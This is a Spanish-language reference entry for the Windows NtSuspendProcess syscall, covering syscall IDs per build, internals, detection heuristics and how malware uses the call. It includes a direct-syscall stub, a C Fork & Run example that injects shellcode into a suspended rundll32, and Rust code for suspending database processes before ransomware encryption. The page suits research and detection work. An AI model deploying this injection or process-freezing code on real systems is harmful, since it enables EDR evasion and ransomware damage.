NtSuspendProcess
Suspende todos los hilos de un proceso objetivo incrementando el contador de suspensión de cada hilo.
Prototipo
NTSTATUS NtSuspendProcess( HANDLE ProcessHandle );
Argumentos
| Name | Type | Dir | Description |
|---|---|---|---|
| ProcessHandle | HANDLE | in | Handle al proceso a suspender. Requiere PROCESS_SUSPEND_RESUME. |
IDs de syscalls por versión de Windows
| Versión de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0x19F | win10-1507 |
| Win10 1607 | 0x1A8 | win10-1607 |
| Win10 1703 | 0x1AE | win10-1703 |
| Win10 1709 | 0x1B1 | win10-1709 |
| Win10 1803 | 0x1B3 | win10-1803 |
| Win10 1809 | 0x1B4 | win10-1809 |
| Win10 1903 | 0x1B5 | win10-1903 |
| Win10 1909 | 0x1B5 | win10-1909 |
| Win10 2004 | 0x1BB | win10-2004 |
| Win10 20H2 | 0x1BB | win10-20h2 |
| Win10 21H1 | 0x1BB | win10-21h1 |
| Win10 21H2 | 0x1BD | win10-21h2 |
| Win10 22H2 | 0x1BD | win10-22h2 |
| Win11 21H2 | 0x1C7 | win11-21h2 |
| Win11 22H2 | 0x1CB | win11-22h2 |
| Win11 23H2 | 0x1CB | win11-23h2 |
| Win11 24H2 | 0x1CE | win11-24h2 |
| Server 2016 | 0x1A8 | winserver-2016 |
| Server 2019 | 0x1B4 | winserver-2019 |
| Server 2022 | 0x1C3 | winserver-2022 |
| Server 2025 | 0x1CE | winserver-2025 |
Módulo del kernel
APIs relacionadas
Stub del syscall
4C 8B D1 mov r10, rcx B8 CE 01 00 00 mov eax, 0x1CE F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notas no documentadas
NtSuspendProcess se exporta desde ntdll pero no está documentado en el SDK público de Windows; la ruta soportada es el wrapper Win32 (`SuspendThread` por cada hilo). Internamente recorre el EPROCESS ThreadListHead y llama a KeSuspendThread sobre cada entrada, así que se mantiene un contador de suspensión por hilo — un proceso suspendido N veces requiere N resumes. El SSN sube de forma constante entre builds (0x19F → 0x1CE) a medida que se insertan syscalls al final de la SSDT; la resolución dinámica es obligatoria.
Uso común por malware
El uso más conocido es el modelo **Fork & Run** de Cobalt Strike / BruteRatel con proceso sacrificable: spawn de un proceso benigno (rundll32.exe es canónico) suspendido, inyección del BOF / object file de la herramienta de post-explotación, ejecución y luego terminate o suspend pendiente de exfil. NtSuspendProcess también aparece en **sleeps de evasión AV** — en lugar de dormir dentro del implant (que sigue planificado y escaneable), el implant suspende un proceso helper hermano mientras los callbacks ETW se disparan con menos frecuencia. El ransomware lo usa antes de cifrar para congelar bases de datos (`sqlservr.exe`, `oracle.exe`, `mongod.exe`) y que los handles de archivo se liberen y los lock files no bloqueen el cifrado in-place (LockBit, Royal, BlackCat lo hacen). Por último, los atacantes suspenden procesos helper / scanner de EDR protegidos contra terminación pero no contra suspensión.
Oportunidades de detección
La telemetría es escasa — no hay evento Sysmon para suspensión de proceso, y la instrumentación Win32 SuspendThread rara vez captura todos los hilos de un EPROCESS en un tick. Fuentes útiles: faltan transiciones de estado tipo `Microsoft-Windows-Kernel-Process/ThreadStop` ETW, pero `Microsoft-Windows-Kernel-Audit-API-Calls` sí cubre las llamadas Nt*Process cuando la audit policy lo habilita. Heurística: un proceso con handles PROCESS_SUSPEND_RESUME sobre procesos no hijos, especialmente de imágenes de seguridad o base de datos, es sospechoso. Combinar la detección de NtSuspendProcess con NtWriteVirtualMemory + NtResumeProcess subsiguientes del mismo llamador para alerting Fork & Run de alta confianza.
Ejemplos de syscalls directos
asmx64 direct stub (Win11 24H2)
; Direct syscall stub for NtSuspendProcess (SSN 0x1CE on 24H2/2025)
; SSN climbs every release — resolve dynamically across builds.
NtSuspendProcess PROC
mov r10, rcx ; syscall convention
mov eax, 1CEh ; SSN
syscall
ret
NtSuspendProcess ENDPcFork & Run sacrificial spawn
// Sacrificial-process pattern: spawn rundll32.exe suspended, then
// inject and execute a BOF or shellcode inside it. The host implant
// stays clean — only the helper carries the suspicious memory.
#include <windows.h>
typedef NTSTATUS (NTAPI *pNtSuspendProcess)(HANDLE);
typedef NTSTATUS (NTAPI *pNtResumeProcess)(HANDLE);
void ForkAndRun(LPVOID shellcode, SIZE_T shellcode_len) {
STARTUPINFOW si = { sizeof si };
PROCESS_INFORMATION pi;
CreateProcessW(L"C:\\Windows\\System32\\rundll32.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi);
PVOID remote = NULL;
SIZE_T size = shellcode_len;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, pi.hProcess,
remote, NULL, 0, 0, 0, 0, NULL);
// pi.hThread stays suspended; only the BOF thread runs to completion.
}rustfreeze DBs before encryption
// Cargo: windows-sys = "0.59"
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_SUSPEND_RESUME};
extern "system" { fn NtSuspendProcess(handle: HANDLE) -> i32; }
pub unsafe fn freeze(pids: &[u32]) {
for &pid in pids {
let h = OpenProcess(PROCESS_SUSPEND_RESUME, 0, pid);
if !h.is_null() { NtSuspendProcess(h); }
}
}Mapeos MITRE ATT&CK
Last verified: 2026-05-20